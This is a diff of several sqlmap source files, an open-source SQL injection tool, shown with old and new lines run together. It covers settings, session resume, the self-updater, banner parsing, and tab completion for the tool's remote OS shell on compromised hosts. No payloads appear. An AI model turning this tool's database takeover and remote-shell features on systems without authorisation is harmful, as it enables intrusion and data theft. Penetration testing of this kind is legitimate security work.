logMsg += "%s from session file" % kb.unionPosition logMsg += "%s from session file" % kb.unionPosition
logger.info(logMsg) logger.info(logMsg)
elif expression == "Remote temp path" and url == conf.url:
conf.tmpPath = value[:-1]
logMsg = "resuming remote absolute path of temporary "
logMsg += "files directory '%s' from session file" % conf.tmpPath
logger.info(logMsg)

View File

@@ -5,8 +5,8 @@ $Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net. This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com> Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com> Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free the terms of the GNU General Public License as published by the Free
@@ -22,21 +22,19 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
""" """
import logging import logging
import os import subprocess
import sys import sys
# sqlmap version and site # sqlmap version and site
VERSION = "0.6.3" VERSION = "0.8-rc3"
VERSION_STRING = "sqlmap/%s" % VERSION VERSION_STRING = "sqlmap/%s" % VERSION
SITE = "http://sqlmap.sourceforge.net" SITE = "http://sqlmap.sourceforge.net"
# sqlmap logger # sqlmap logger
logging.addLevelName(9, "TRAFFIC OUT") logging.addLevelName(9, "TRAFFIC OUT")
logging.addLevelName(8, "TRAFFIC IN") logging.addLevelName(8, "TRAFFIC IN")
LOGGER = logging.getLogger("sqlmapLog") LOGGER = logging.getLogger("sqlmapLog")
LOGGER_HANDLER = logging.StreamHandler(sys.stdout) LOGGER_HANDLER = logging.StreamHandler(sys.stdout)
FORMATTER = logging.Formatter("[%(asctime)s] [%(levelname)s] %(message)s", "%H:%M:%S") FORMATTER = logging.Formatter("[%(asctime)s] [%(levelname)s] %(message)s", "%H:%M:%S")
@@ -45,26 +43,72 @@ LOGGER_HANDLER.setFormatter(FORMATTER)
LOGGER.addHandler(LOGGER_HANDLER) LOGGER.addHandler(LOGGER_HANDLER)
LOGGER.setLevel(logging.WARN) LOGGER.setLevel(logging.WARN)
# System variables
IS_WIN = subprocess.mswindows
PLATFORM = sys.platform.lower()
PYVERSION = sys.version.split()[0]
# Url to update Microsoft SQL Server XML versions file from # Url to update Microsoft SQL Server XML versions file from
MSSQL_VERSIONS_URL = "http://www.sqlsecurity.com/FAQs/SQLServerVersionDatabase/tabid/63/Default.aspx" MSSQL_VERSIONS_URL = "http://www.sqlsecurity.com/FAQs/SQLServerVersionDatabase/tabid/63/Default.aspx"
# Url to update sqlmap from # Urls to update sqlmap from
SQLMAP_VERSION_URL = "%s/doc/VERSION" % SITE SQLMAP_VERSION_URL = "%s/doc/VERSION" % SITE
SQLMAP_SOURCE_URL = "http://downloads.sourceforge.net/sqlmap/sqlmap-%s.zip" SQLMAP_SOURCE_URL = "http://downloads.sourceforge.net/sqlmap/sqlmap-%s.zip"
# Database managemen system specific variables # Database managemen system specific variables
MSSQL_SYSTEM_DBS = ( "Northwind", "model", "msdb", "pubs", "tempdb" ) MSSQL_SYSTEM_DBS = ( "Northwind", "model", "msdb", "pubs", "tempdb" )
MYSQL_SYSTEM_DBS = ( "information_schema", "mysql" ) # Before MySQL 5.0 only "mysql" MYSQL_SYSTEM_DBS = ( "information_schema", "mysql" ) # Before MySQL 5.0 only "mysql"
PGSQL_SYSTEM_DBS = ( "information_schema", "pg_catalog" ) PGSQL_SYSTEM_DBS = ( "information_schema", "pg_catalog" )
ORACLE_SYSTEM_DBS = ( "SYSTEM", "SYSAUX" ) # These are TABLESPACE_NAME ORACLE_SYSTEM_DBS = ( "SYSTEM", "SYSAUX" ) # These are TABLESPACE_NAME
MSSQL_ALIASES = [ "microsoft sql server", "mssqlserver", "mssql", "ms" ] MSSQL_ALIASES = [ "microsoft sql server", "mssqlserver", "mssql", "ms" ]
MYSQL_ALIASES = [ "mysql", "my" ] MYSQL_ALIASES = [ "mysql", "my" ]
PGSQL_ALIASES = [ "postgresql", "postgres", "pgsql", "psql", "pg" ] PGSQL_ALIASES = [ "postgresql", "postgres", "pgsql", "psql", "pg" ]
ORACLE_ALIASES = [ "oracle", "orcl", "ora", "or" ] ORACLE_ALIASES = [ "oracle", "orcl", "ora", "or" ]
SUPPORTED_DBMS = MSSQL_ALIASES + MYSQL_ALIASES + PGSQL_ALIASES + ORACLE_ALIASES SUPPORTED_DBMS = MSSQL_ALIASES + MYSQL_ALIASES + PGSQL_ALIASES + ORACLE_ALIASES
SUPPORTED_OS = ( "linux", "windows" )
# TODO: port to command line/configuration file options? SQL_STATEMENTS = {
SECONDS = 5 "SQL SELECT statement": (
RETRIES = 3 "select ",
"show ",
" top ",
" from ",
" from dual",
" where ",
" group by ",
" order by ",
" having ",
" limit ",
" offset ",
" union all ",
" rownum as ",
"(case ", ),
"SQL data definition": (
"create ",
"declare ",
"drop ",
"truncate ",
"alter ", ),
"SQL data manipulation": (
"insert ",
"update ",
"delete ",
"merge ", ),
"SQL data control": (
"grant ", ),
"SQL data execution": (
"execute ", ),
"SQL transaction": (
"start transaction ",
"begin work ",
"begin transaction ",
"commit ",
"rollback ", ),
}

View File

@@ -5,8 +5,8 @@ $Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net. This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com> Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com> Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free the terms of the GNU General Public License as published by the Free
@@ -22,8 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
""" """
import atexit import atexit
import os import os
import rlcompleter import rlcompleter
@@ -33,19 +31,16 @@ from lib.core.data import kb
from lib.core.data import paths from lib.core.data import paths
from lib.core.data import queries from lib.core.data import queries
def saveHistory(): def saveHistory():
historyPath = os.path.expanduser(paths.SQLMAP_HISTORY) historyPath = os.path.expanduser(paths.SQLMAP_HISTORY)
readline.write_history_file(historyPath) readline.write_history_file(historyPath)
def loadHistory(): def loadHistory():
historyPath = os.path.expanduser(paths.SQLMAP_HISTORY) historyPath = os.path.expanduser(paths.SQLMAP_HISTORY)
if os.path.exists(historyPath): if os.path.exists(historyPath):
readline.read_history_file(historyPath) readline.read_history_file(historyPath)
def queriesForAutoCompletion(): def queriesForAutoCompletion():
autoComplQueries = {} autoComplQueries = {}
@@ -61,7 +56,6 @@ def queriesForAutoCompletion():
return autoComplQueries return autoComplQueries
class CompleterNG(rlcompleter.Completer): class CompleterNG(rlcompleter.Completer):
def global_matches(self, text): def global_matches(self, text):
""" """
@@ -73,14 +67,13 @@ class CompleterNG(rlcompleter.Completer):
matches = [] matches = []
n = len(text) n = len(text)
for list in [ self.namespace ]: for ns in [ self.namespace ]:
for word in list: for word in ns:
if word[:n] == text: if word[:n] == text:
matches.append(word) matches.append(word)
return matches return matches
def autoCompletion(sqlShell=False, osShell=False): def autoCompletion(sqlShell=False, osShell=False):
# First of all we check if the readline is available, by default # First of all we check if the readline is available, by default
# it is not in Python default installation on Windows # it is not in Python default installation on Windows
@@ -90,13 +83,23 @@ def autoCompletion(sqlShell=False, osShell=False):
if sqlShell: if sqlShell:
completer = CompleterNG(queriesForAutoCompletion()) completer = CompleterNG(queriesForAutoCompletion())
elif osShell: elif osShell:
# TODO: add more operating system commands; differentiate commands if kb.os == "Windows":
# based on future operating system fingerprint # Reference: http://en.wikipedia.org/wiki/List_of_DOS_commands
completer = CompleterNG({ completer = CompleterNG({
"id": None, "ifconfig": None, "ls": None, "copy": None, "del": None, "dir": None,
"netstat -natu": None, "pwd": None, "echo": None, "md": None, "mem": None,
"uname": None, "whoami": None, "move": None, "net": None, "netstat -na": None,
}) "ver": None, "xcopy": None, "whoami": None,
})
else:
# Reference: http://en.wikipedia.org/wiki/List_of_Unix_commands
completer = CompleterNG({
"cp": None, "rm": None, "ls": None,
"echo": None, "mkdir": None, "free": None,
"mv": None, "ifconfig": None, "netstat -natu": None,
"pwd": None, "uname": None, "id": None,
})
readline.set_completer(completer.complete) readline.set_completer(completer.complete)
readline.parse_and_bind("tab: complete") readline.parse_and_bind("tab: complete")

88
lib/core/subprocessng.py Normal file
View File

@@ -0,0 +1,88 @@
#!/usr/bin/env python
"""
$Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free
Software Foundation version 2 of the License.
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
details.
You should have received a copy of the GNU General Public License along
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
import errno
import os
import sys
import time
from lib.core.settings import IS_WIN
if not IS_WIN:
import fcntl
if (sys.hexversion >> 16) >= 0x202:
FCNTL = fcntl
else:
import FCNTL
def blockingReadFromFD(fd):
# Quick twist around original Twisted function
# Blocking read from a non-blocking file descriptor
output = ""
while True:
try:
output += os.read(fd, 8192)
except (OSError, IOError), ioe:
if ioe.args[0] in (errno.EAGAIN, errno.EINTR):
# Uncomment the following line if the process seems to
# take a huge amount of cpu time
# time.sleep(0.01)
continue
else:
raise
break
if not output:
raise EOFError, "fd %s has been closed." % fd
return output
def blockingWriteToFD(fd, data):
# Another quick twist
while True:
try:
data_length = len(data)
wrote_data = os.write(fd, data)
except (OSError, IOError), io:
if io.errno in (errno.EAGAIN, errno.EINTR):
continue
else:
raise
if wrote_data < data_length:
blockingWriteToFD(fd, data[wrote_data:])
break
def setNonBlocking(fd):
"""
Make a file descriptor non-blocking
"""
if IS_WIN is not True:
flags = fcntl.fcntl(fd, FCNTL.F_GETFL)
flags = flags | os.O_NONBLOCK
fcntl.fcntl(fd, FCNTL.F_SETFL, flags)

View File

@@ -5,8 +5,8 @@ $Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net. This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com> Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com> Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free the terms of the GNU General Public License as published by the Free
@@ -22,17 +22,13 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
""" """
import os import os
import re
import time import time
from lib.core.common import dataToSessionFile from lib.core.common import dataToSessionFile
from lib.core.common import paramToDict from lib.core.common import paramToDict
from lib.core.common import parseTargetUrl from lib.core.common import parseTargetUrl
from lib.core.common import readInput from lib.core.common import sanitizeCookie
from lib.core.convert import urldecode
from lib.core.data import conf from lib.core.data import conf
from lib.core.data import kb from lib.core.data import kb
from lib.core.data import logger from lib.core.data import logger
@@ -43,7 +39,6 @@ from lib.core.exception import sqlmapGenericException
from lib.core.exception import sqlmapSyntaxException from lib.core.exception import sqlmapSyntaxException
from lib.core.session import resumeConfKb from lib.core.session import resumeConfKb
def __setRequestParams(): def __setRequestParams():
""" """
Check and set the parameters and perform checks on 'data' option for Check and set the parameters and perform checks on 'data' option for
@@ -67,21 +62,20 @@ def __setRequestParams():
raise sqlmapSyntaxException, errMsg raise sqlmapSyntaxException, errMsg
if conf.data: if conf.data:
urlDecodedData = urldecode(conf.data).replace("%", "%%") conf.parameters["POST"] = conf.data
conf.parameters["POST"] = urlDecodedData __paramDict = paramToDict("POST", conf.data)
__paramDict = paramToDict("POST", urlDecodedData)
if __paramDict: if __paramDict:
conf.paramDict["POST"] = __paramDict conf.paramDict["POST"] = __paramDict
__testableParameters = True __testableParameters = True
conf.method = "POST"
# Perform checks on Cookie parameters # Perform checks on Cookie parameters
if conf.cookie: if conf.cookie:
# TODO: sure about decoding the cookie? conf.cookie = sanitizeCookie(conf.cookie)
#urlDecodedCookie = urldecode(conf.cookie).replace("%", "%%") conf.parameters["Cookie"] = conf.cookie
urlDecodedCookie = conf.cookie.replace("%", "%%") __paramDict = paramToDict("Cookie", conf.cookie)
conf.parameters["Cookie"] = urlDecodedCookie
__paramDict = paramToDict("Cookie", urlDecodedCookie)
if __paramDict: if __paramDict:
conf.paramDict["Cookie"] = __paramDict conf.paramDict["Cookie"] = __paramDict
@@ -91,7 +85,8 @@ def __setRequestParams():
if conf.httpHeaders: if conf.httpHeaders:
for httpHeader, headerValue in conf.httpHeaders: for httpHeader, headerValue in conf.httpHeaders:
if httpHeader == "User-Agent": if httpHeader == "User-Agent":
conf.parameters["User-Agent"] = urldecode(headerValue).replace("%", "%%") # No need for url encoding/decoding the user agent
conf.parameters["User-Agent"] = headerValue
condition = not conf.testParameter condition = not conf.testParameter
condition |= "User-Agent" in conf.testParameter condition |= "User-Agent" in conf.testParameter
@@ -113,13 +108,17 @@ def __setRequestParams():
errMsg += "within the GET, POST and Cookie parameters" errMsg += "within the GET, POST and Cookie parameters"
raise sqlmapGenericException, errMsg raise sqlmapGenericException, errMsg
def __setOutputResume(): def __setOutputResume():
""" """
Check and set the output text file and the resume functionality. Check and set the output text file and the resume functionality.
""" """
if conf.sessionFile and os.path.exists(conf.sessionFile): if not conf.sessionFile:
conf.sessionFile = "%s%ssession" % (conf.outputPath, os.sep)
logger.info("using '%s' as session file" % conf.sessionFile)
if os.path.exists(conf.sessionFile):
readSessionFP = open(conf.sessionFile, "r") readSessionFP = open(conf.sessionFile, "r")
lines = readSessionFP.readlines() lines = readSessionFP.readlines()
@@ -157,14 +156,12 @@ def __setOutputResume():
readSessionFP.close() readSessionFP.close()
if conf.sessionFile: try:
try: conf.sessionFP = open(conf.sessionFile, "a")
conf.sessionFP = open(conf.sessionFile, "a") dataToSessionFile("\n[%s]\n" % time.strftime("%X %x"))
dataToSessionFile("\n[%s]\n" % time.strftime("%X %x")) except IOError:
except IOError: errMsg = "unable to write on the session file specified"
errMsg = "unable to write on the session file specified" raise sqlmapFilePathException, errMsg
raise sqlmapFilePathException, errMsg
def __createFilesDir(): def __createFilesDir():
""" """
@@ -179,7 +176,6 @@ def __createFilesDir():
if not os.path.isdir(conf.filePath): if not os.path.isdir(conf.filePath):
os.makedirs(conf.filePath, 0755) os.makedirs(conf.filePath, 0755)
def __createDumpDir(): def __createDumpDir():
""" """
Create the dump directory. Create the dump directory.
@@ -193,6 +189,23 @@ def __createDumpDir():
if not os.path.isdir(conf.dumpPath): if not os.path.isdir(conf.dumpPath):
os.makedirs(conf.dumpPath, 0755) os.makedirs(conf.dumpPath, 0755)
def createTargetDirs():
"""
Create the output directory.
"""
conf.outputPath = "%s%s%s" % (paths.SQLMAP_OUTPUT_PATH, os.sep, conf.hostname)
if not os.path.isdir(paths.SQLMAP_OUTPUT_PATH):
os.makedirs(paths.SQLMAP_OUTPUT_PATH, 0755)
if not os.path.isdir(conf.outputPath):
os.makedirs(conf.outputPath, 0755)
dumper.setOutputFile()
__createDumpDir()
__createFilesDir()
def initTargetEnv(): def initTargetEnv():
""" """
@@ -216,22 +229,3 @@ def initTargetEnv():
parseTargetUrl() parseTargetUrl()
__setRequestParams() __setRequestParams()
__setOutputResume() __setOutputResume()
def createTargetDirs():
"""
Create the output directory.
"""
conf.outputPath = "%s%s%s" % (paths.SQLMAP_OUTPUT_PATH, os.sep, conf.hostname)
if not os.path.isdir(paths.SQLMAP_OUTPUT_PATH):
os.makedirs(paths.SQLMAP_OUTPUT_PATH, 0755)
if not os.path.isdir(conf.outputPath):
os.makedirs(conf.outputPath, 0755)
dumper.setOutputFile()
__createDumpDir()
__createFilesDir()

View File

@@ -5,8 +5,8 @@ $Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net. This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com> Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com> Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free the terms of the GNU General Public License as published by the Free
@@ -22,19 +22,14 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
""" """
class Unescaper: class Unescaper:
def __init__(self): def __init__(self):
self.__unescaper = None self.__unescaper = None
def setUnescape(self, unescapeFunction): def setUnescape(self, unescapeFunction):
self.__unescaper = unescapeFunction self.__unescaper = unescapeFunction
def unescape(self, expression, quote=True): def unescape(self, expression, quote=True):
return self.__unescaper(expression, quote=quote) return self.__unescaper(expression, quote=quote)
unescaper = Unescaper() unescaper = Unescaper()

View File

@@ -5,8 +5,8 @@ $Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net. This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com> Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com> Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free the terms of the GNU General Public License as published by the Free
@@ -22,12 +22,11 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
""" """
import difflib import difflib
import os import os
import re import re
import shutil import shutil
import sys
import tempfile import tempfile
import urlparse import urlparse
import zipfile import zipfile
@@ -47,7 +46,6 @@ from lib.core.settings import SQLMAP_SOURCE_URL
from lib.core.settings import VERSION from lib.core.settings import VERSION
from lib.request.connect import Connect as Request from lib.request.connect import Connect as Request
def __updateMSSQLXML(): def __updateMSSQLXML():
infoMsg = "updating Microsoft SQL Server XML versions file" infoMsg = "updating Microsoft SQL Server XML versions file"
logger.info(infoMsg) logger.info(infoMsg)
@@ -108,12 +106,15 @@ def __updateMSSQLXML():
servicePack = servicePack[:servicePack.index("-")] servicePack = servicePack[:servicePack.index("-")]
if "*" in servicePack: if "*" in servicePack:
servicePack = servicePack[:servicePack.index("*")] servicePack = servicePack[:servicePack.index("*")]
if servicePack.startswith("+"):
servicePack = "0%s" % servicePack
servicePack = servicePack.replace("\t", " ") servicePack = servicePack.replace("\t", " ")
servicePack = servicePack.replace(" ", " ") servicePack = servicePack.replace(" ", " ")
servicePack = servicePack.replace("No SP", "0") servicePack = servicePack.replace("No SP", "0")
servicePack = servicePack.replace("RTM", "0") servicePack = servicePack.replace("RTM", "0")
servicePack = servicePack.replace("SP", "") servicePack = servicePack.replace("SP", "")
servicePack = servicePack.replace("Service Pack", "")
servicePack = servicePack.replace("<a href=\"http:", "") servicePack = servicePack.replace("<a href=\"http:", "")
if servicePack.endswith(" "): if servicePack.endswith(" "):
@@ -188,19 +189,13 @@ def __updateMSSQLXML():
logger.info(infoMsg) logger.info(infoMsg)
# Compare the old XML file with the new one # Compare the old XML file with the new one
differ = difflib.Differ() diff = difflib.unified_diff(oldMssqlXmlList, newMssqlXmlList, "%s.bak" % paths.MSSQL_XML, paths.MSSQL_XML)
differences = list(differ.compare(oldMssqlXmlList, newMssqlXmlList)) sys.stdout.writelines(diff)
# Show only the different lines
for line in differences:
if line.startswith("-") or line.startswith("+") or line.startswith("?"):
print line.strip("\n")
else: else:
infoMsg = "no new Microsoft SQL Server versions since the " infoMsg = "no new Microsoft SQL Server versions since the "
infoMsg += "last update" infoMsg += "last update"
logger.info(infoMsg) logger.info(infoMsg)
def __createFile(pathname, data): def __createFile(pathname, data):
mkpath(os.path.dirname(pathname)) mkpath(os.path.dirname(pathname))
@@ -208,8 +203,7 @@ def __createFile(pathname, data):
fileFP.write(data) fileFP.write(data)
fileFP.close() fileFP.close()
def __extractZipFile(tempDir, zipFile):
def __extractZipFile(tempDir, zipFile, sqlmapNewestVersion):
# Check if the saved binary file is really a ZIP file # Check if the saved binary file is really a ZIP file
if zipfile.is_zipfile(zipFile): if zipfile.is_zipfile(zipFile):
sqlmapZipFile = zipfile.ZipFile(zipFile) sqlmapZipFile = zipfile.ZipFile(zipFile)
@@ -222,7 +216,6 @@ def __extractZipFile(tempDir, zipFile, sqlmapNewestVersion):
data = sqlmapZipFile.read(info.filename) data = sqlmapZipFile.read(info.filename)
__createFile(os.path.join(tempDir, info.filename), data) __createFile(os.path.join(tempDir, info.filename), data)
def __updateSqlmap(): def __updateSqlmap():
infoMsg = "updating sqlmap" infoMsg = "updating sqlmap"
logger.info(infoMsg) logger.info(infoMsg)
@@ -246,7 +239,7 @@ def __updateSqlmap():
if not re.search("^([\w\.\-]+)$", sqlmapNewestVersion): if not re.search("^([\w\.\-]+)$", sqlmapNewestVersion):
errMsg = "sqlmap version is in a wrong syntax" errMsg = "sqlmap version is in a wrong syntax"
logger.errMsg(errMsg) logger.error(errMsg)
return return
@@ -262,7 +255,7 @@ def __updateSqlmap():
logger.info(infoMsg) logger.info(infoMsg)
elif sqlmapNewestVersion < VERSION: elif sqlmapNewestVersion < VERSION:
infoMsg = "if you are running a version of sqlmap more updated than " infoMsg = "you are running a version of sqlmap more updated than "
infoMsg += "the latest stable version (%s)" % sqlmapNewestVersion infoMsg += "the latest stable version (%s)" % sqlmapNewestVersion
logger.info(infoMsg) logger.info(infoMsg)
@@ -289,13 +282,11 @@ def __updateSqlmap():
tempDir = tempfile.gettempdir() tempDir = tempfile.gettempdir()
zipFile = os.path.join(tempDir, "sqlmap-%s.zip" % sqlmapNewestVersion) zipFile = os.path.join(tempDir, "sqlmap-%s.zip" % sqlmapNewestVersion)
__createFile(zipFile, sqlmapBinaryString) __createFile(zipFile, sqlmapBinaryString)
__extractZipFile(tempDir, zipFile, sqlmapNewestVersion) __extractZipFile(tempDir, zipFile)
# For each file and directory in the temporary directory copy it # For each file and directory in the temporary directory copy it
# to the sqlmap root path and set right permission # to the sqlmap root path and set right permission
# TODO: remove files not needed anymore and all pyc within the for root, _, files in os.walk(os.path.join(tempDir, "sqlmap-%s" % sqlmapNewestVersion)):
# sqlmap root path in the end
for root, dirs, files in os.walk(os.path.join(tempDir, "sqlmap-%s" % sqlmapNewestVersion)):
# Just for development release # Just for development release
if '.svn' in root: if '.svn' in root:
continue continue
@@ -335,7 +326,6 @@ def __updateSqlmap():
infoMsg = "sqlmap updated successfully" infoMsg = "sqlmap updated successfully"
logger.info(infoMsg) logger.info(infoMsg)
def update(): def update():
if not conf.updateAll: if not conf.updateAll:
return return

View File

@@ -5,8 +5,8 @@ $Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net. This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com> Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com> Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free the terms of the GNU General Public License as published by the Free

View File

@@ -5,8 +5,8 @@ $Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net. This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com> Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com> Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free the terms of the GNU General Public License as published by the Free
@@ -22,8 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
""" """
import re import re
from xml.sax import parse from xml.sax import parse
@@ -35,22 +33,20 @@ from lib.core.data import kb
from lib.core.data import paths from lib.core.data import paths
from lib.parse.handler import FingerprintHandler from lib.parse.handler import FingerprintHandler
class MSSQLBannerHandler(ContentHandler): class MSSQLBannerHandler(ContentHandler):
""" """
This class defines methods to parse and extract information from the This class defines methods to parse and extract information from the
given Microsoft SQL Server banner based upon the data in XML file given Microsoft SQL Server banner based upon the data in XML file
""" """
def __init__(self, banner): def __init__(self, banner, info):
self.__banner = sanitizeStr(banner) self.__banner = sanitizeStr(banner)
self.__inVersion = False self.__inVersion = False
self.__inServicePack = False self.__inServicePack = False
self.__release = None self.__release = None
self.__version = "" self.__version = ""
self.__servicePack = "" self.__servicePack = ""
self.__info = info
def __feedInfo(self, key, value): def __feedInfo(self, key, value):
value = sanitizeStr(value) value = sanitizeStr(value)
@@ -58,8 +54,7 @@ class MSSQLBannerHandler(ContentHandler):
if value in ( None, "None" ): if value in ( None, "None" ):
return return
kb.bannerFp[key] = value self.__info[key] = value
def startElement(self, name, attrs): def startElement(self, name, attrs):
if name == "signatures": if name == "signatures":
@@ -71,14 +66,12 @@ class MSSQLBannerHandler(ContentHandler):
elif name == "servicepack": elif name == "servicepack":
self.__inServicePack = True self.__inServicePack = True
def characters(self, data): def characters(self, data):
if self.__inVersion: if self.__inVersion:
self.__version += sanitizeStr(data) self.__version += sanitizeStr(data)
elif self.__inServicePack: elif self.__inServicePack:
self.__servicePack += sanitizeStr(data) self.__servicePack += sanitizeStr(data)
def endElement(self, name): def endElement(self, name):
if name == "signature": if name == "signature":
if re.search(" %s[\.\ ]+" % self.__version, self.__banner): if re.search(" %s[\.\ ]+" % self.__version, self.__banner):
@@ -89,7 +82,6 @@ class MSSQLBannerHandler(ContentHandler):
self.__version = "" self.__version = ""
self.__servicePack = "" self.__servicePack = ""
elif name == "version": elif name == "version":
self.__inVersion = False self.__inVersion = False
self.__version = self.__version.replace(" ", "") self.__version = self.__version.replace(" ", "")
@@ -98,7 +90,6 @@ class MSSQLBannerHandler(ContentHandler):
self.__inServicePack = False self.__inServicePack = False
self.__servicePack = self.__servicePack.replace(" ", "") self.__servicePack = self.__servicePack.replace(" ", "")
def bannerParser(banner): def bannerParser(banner):
""" """
This function calls a class to extract information from the given This function calls a class to extract information from the given
@@ -117,7 +108,7 @@ def bannerParser(banner):
checkFile(xmlfile) checkFile(xmlfile)
if kb.dbms == "Microsoft SQL Server": if kb.dbms == "Microsoft SQL Server":
handler = MSSQLBannerHandler(banner) handler = MSSQLBannerHandler(banner, kb.bannerFp)
parse(xmlfile, handler) parse(xmlfile, handler)
handler = FingerprintHandler(banner, kb.bannerFp) handler = FingerprintHandler(banner, kb.bannerFp)

View File

@@ -5,8 +5,8 @@ $Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net. This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com> Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com> Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free the terms of the GNU General Public License as published by the Free
@@ -22,8 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
""" """
import sys import sys
from optparse import OptionError from optparse import OptionError
@@ -33,7 +31,6 @@ from optparse import OptionParser
from lib.core.data import logger from lib.core.data import logger
from lib.core.settings import VERSION_STRING from lib.core.settings import VERSION_STRING
def cmdLineParser(): def cmdLineParser():
""" """
This function parses the command line parameters and arguments This function parses the command line parameters and arguments
@@ -43,7 +40,7 @@ def cmdLineParser():
parser = OptionParser(usage=usage, version=VERSION_STRING) parser = OptionParser(usage=usage, version=VERSION_STRING)
try: try:
parser.add_option("-v", dest="verbose", type="int", parser.add_option("-v", dest="verbose", type="int", default=1,
help="Verbosity level: 0-5 (default 1)") help="Verbosity level: 0-5 (default 1)")
# Target options # Target options
@@ -62,13 +59,12 @@ def cmdLineParser():
target.add_option("-c", dest="configFile", target.add_option("-c", dest="configFile",
help="Load options from a configuration INI file") help="Load options from a configuration INI file")
# Request options # Request options
